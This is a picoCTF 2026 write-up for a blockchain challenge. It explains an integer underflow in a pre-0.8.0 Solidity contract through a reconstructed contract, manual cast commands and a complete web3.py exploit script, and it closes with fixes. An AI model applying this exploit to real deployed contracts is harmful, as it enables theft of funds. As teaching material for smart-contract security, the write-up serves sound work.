┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Smart Overflow — picoCTF 2026
~ Imattas aka Zemi
 Category: Blockchain
 Difficulty: Medium
 Points: 300
 Author: Imattas aka Zemi

────────────────────────────────────────────────────────────────────────────────

--[ Challenge Description ]--

 The contract tracks balances using uint256 math. It should be safe... right?

────────────────────────────────────────────────────────────────────────────────

--[ Recon / Initial Analysis ]--

We are given a Solidity smart contract that manages user balances using uint256
arithmetic. The contract is compiled with Solidity version <0.8.0, meaning it
does not have built-in overflow/underflow protection. Our goal is to exploit an
integer underflow to manipulate our balance and drain the contract (or meet a
win condition).

In Solidity versions prior to 0.8.0, arithmetic operations on unsigned integers
(uint256) silently wrap around on overflow and underflow:

- Overflow: type(uint256).max + 1 = 0
- Underflow: 0 - 1 = 2^256 - 1 =
115792089237316195423570985008687907853269984665640564039457584007913129639935

This means if a contract subtracts from a balance without first checking that
the balance is sufficient (or uses a flawed check), the balance wraps to an
astronomically large number.

────────────────────────────────────────────────────────────────────────────────

--[ Vulnerability / Observation ]--

The vulnerable contract likely looks something like this:
-- solidity --
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;  // No built-in overflow protection

contract SmartOverflow {
    mapping(address => uint256) public balances;

    constructor() {
        // Contract starts with some initial state
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address _to, uint256 _amount) public {
        // Vulnerable: underflow if _amount > balances[msg.sender]
        require(balances[msg.sender] - _amount >= 0);  // Always true for uint256!
        balances[msg.sender] -= _amount;
        balances[_to] += _amount;
    }

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] -= _amount;
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function isSolved() public view returns (bool) {
        return balances[msg.sender] > 1000 ether;
    }
}
The critical bug is in the transfer function. The check
require(balances[msg.sender] - _amount >= 0) is always true for uint256 because
unsigned integers can never be negative -- the subtraction underflows first,
producing a huge positive number, which is always >= 0.

:: Exploitation Strategy

1. Start with a balance of 0 (or a small deposited amount).
2. Call transfer() to send more tokens than we have to another address.
3. Our balance underflows to 2^256 - 1 (or a similarly huge number).
4. The isSolved() condition is now satisfied.

────────────────────────────────────────────────────────────────────────────────

--[ Exploitation / Solution ]--

:: Step-by-step:

1. Connect to the challenge -- picoCTF blockchain challenges typically provide
an RPC endpoint and a contract address. Some use a setup where you get a private
key and deployed contract address.
2. Identify the vulnerable function -- Look for arithmetic on uint256 without
SafeMath, particularly subtraction in transfer or withdraw functions.
3. Trigger the underflow -- Call the transfer function with an amount larger
than your current balance. Use a secondary address (or the zero address if
allowed) as the recipient.
4. Verify -- Check that your balance is now enormous and call isSolved() or the
equivalent win condition.

:: Manual interaction (using cast/foundry):
-- bash --
# Set up environment variables
export RPC_URL="<challenge_rpc_url>"
export PRIVATE_KEY="<your_private_key>"
export CONTRACT="<contract_address>"

# Check initial balance
cast call $CONTRACT "balances(address)" $YOUR_ADDRESS --rpc-url $RPC_URL

# Trigger underflow: transfer more than your balance to any address
# If balance is 0, transferring 1 will underflow to 2^256 - 1
cast send $CONTRACT "transfer(address,uint256)" 0x0000000000000000000000000000000000000001 1 \
    --private-key $PRIVATE_KEY --rpc-url $RPC_URL

# Check balance again -- should be 2^256 - 1
cast call $CONTRACT "balances(address)" $YOUR_ADDRESS --rpc-url $RPC_URL

# Check if solved
cast call $CONTRACT "isSolved()" --rpc-url $RPC_URL
────────────────────────────────────────────────────────────────────────────────

--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Smart Overflow - picoCTF 2026
Category: Blockchain | Points: 300

Exploit: Integer underflow in a Solidity <0.8.0 contract.
The contract uses unchecked uint256 arithmetic for balance tracking.
By transferring more than our balance, the subtraction underflows,
giving us a balance of 2^256 - 1 (or similar huge value).

Usage:
    python3 solve.py

    Environment variables (set before running):
        RPC_URL       - The challenge RPC endpoint
        PRIVATE_KEY   - Your wallet private key
        CONTRACT_ADDR - The deployed vulnerable contract address

    Or modify the constants below directly.
"""

import os
import sys
import json

try:
    from web3 import Web3
    from web3.middleware import geth_poa_middleware
except ImportError:
    print("[!] web3 not installed. Install with: pip install web3")
    print("[!] Alternatively, use foundry (cast) commands shown in the writeup.")
    sys.exit(1)

# ============================================================
# Configuration -- update these with challenge-provided values
# ============================================================
RPC_URL = os.environ.get("RPC_URL", "http://challenge-host:port/rpc")
PRIVATE_KEY = os.environ.get("PRIVATE_KEY", "0xYOUR_PRIVATE_KEY_HERE")
CONTRACT_ADDR = os.environ.get("CONTRACT_ADDR", "0xCONTRACT_ADDRESS_HERE")

# Typical ABI for the vulnerable contract
# Adjust based on the actual contract provided by the challenge
CONTRACT_ABI = json.loads("""
[
    {
        "inputs": [{"internalType": "address", "name": "", "type": "address"}],
        "name": "balances",
        "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "deposit",
        "outputs": [],
        "stateMutability": "payable",
        "type": "function"
    },
    {
        "inputs": [
            {"internalType": "address", "name": "_to", "type": "address"},
            {"internalType": "uint256", "name": "_amount", "type": "uint256"}
        ],
        "name": "transfer",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [{"internalType": "uint256", "name": "_amount", "type": "uint256"}],
        "name": "withdraw",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function"
    }
]
""")

# A burn address to send tokens to (triggers the underflow on our balance)
BURN_ADDRESS = "0x0000000000000000000000000000000000000001"


def main():
    print("[*] Smart Overflow Exploit - picoCTF 2026")
    print(f"[*] RPC URL: {RPC_URL}")
    print(f"[*] Contract: {CONTRACT_ADDR}")

    # Connect to the blockchain
    w3 = Web3(Web3.HTTPProvider(RPC_URL))

    # Some CTF chains use PoA consensus
    try:
        w3.middleware_onion.inject(geth_poa_middleware, layer=0)
    except Exception:
        pass

    if not w3.is_connected():
        print("[!] Failed to connect to RPC endpoint")
        sys.exit(1)
    print("[+] Connected to blockchain")

    # Set up our account
    account = w3.eth.account.from_key(PRIVATE_KEY)
    my_address = account.address
    print(f"[*] Our address: {my_address}")

    # Get contract instance
    contract = w3.eth.contract(
        address=Web3.to_checksum_address(CONTRACT_ADDR),
        abi=CONTRACT_ABI,
    )

    # Check initial balance
    initial_balance = contract.functions.balances(my_address).call()
    print(f"[*] Initial balance: {initial_balance}")

    # ============================================================
    # EXPLOIT: Trigger integer underflow
    # ============================================================
    # If our balance is 0, transferring 1 token will cause:
    #   balances[us] = 0 - 1 = 2^256 - 1  (underflow!)
    #
    # The vulnerable require check:
    #   require(balances[msg.sender] - _amount >= 0)
    # is ALWAYS true for uint256, so it doesn't protect anything.
    # ============================================================

    transfer_amount = initial_balance + 1  # Guarantee underflow
    if transfer_amount == 0:
        transfer_amount = 1  # Edge case: if balance is max uint256

    print(f"[*] Triggering underflow: transferring {transfer_amount} to burn address")

    # Build and send the transaction
    nonce = w3.eth.get_transaction_count(my_address)
    tx = contract.functions.transfer(
        Web3.to_checksum_address(BURN_ADDRESS),
        transfer_amount
    ).build_transaction({
        "from": my_address,
        "nonce": nonce,
        "gas": 200000,
        "gasPrice": w3.eth.gas_price,
    })

    signed_tx = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
    tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
    print(f"[*] Transaction sent: {tx_hash.hex()}")

    # Wait for confirmation
    receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
    if receipt["status"] == 1:
        print("[+] Transaction confirmed!")
    else:
        print("[!] Transaction reverted -- check contract ABI / function names")
        sys.exit(1)

    # Verify the underflow worked
    new_balance = contract.functions.balances(my_address).call()
    print(f"[+] New balance: {new_balance}")
    print(f"[+] Balance is massive: {new_balance > 10**30}")

    # Check if solved
    try:
        solved = contract.functions.isSolved().call({"from": my_address})
        print(f"[+] isSolved(): {solved}")
    except Exception as e:
        print(f"[*] Could not call isSolved(): {e}")
        print("[*] The challenge may use a different win condition.")
        print("[*] Check the challenge interface for the flag.")

    print()
    print("[*] Done! If the challenge has a separate 'get flag' endpoint,")
    print("[*] call it now to retrieve picoCTF{...}")


if __name__ == "__main__":
    main()
────────────────────────────────────────────────────────────────────────────────

--[ Key Takeaways ]--

- Solidity <0.8.0 does not check for integer overflow/underflow — uint256
arithmetic silently wraps.
- A require(balance - amount >= 0) check is meaningless for unsigned integers:
the subtraction underflows to 2^256 - 1 before the comparison, which is always
true.
- Transferring more than your balance underflows your own balance to a huge
value, satisfying win conditions like isSolved().
- Fixes would use SafeMath (pre-0.8) or simply Solidity >=0.8.0, which reverts
on overflow/underflow.
- Tooling: web3.py for scripting the exploit, or foundry's cast call/cast send
for manual interaction with the RPC.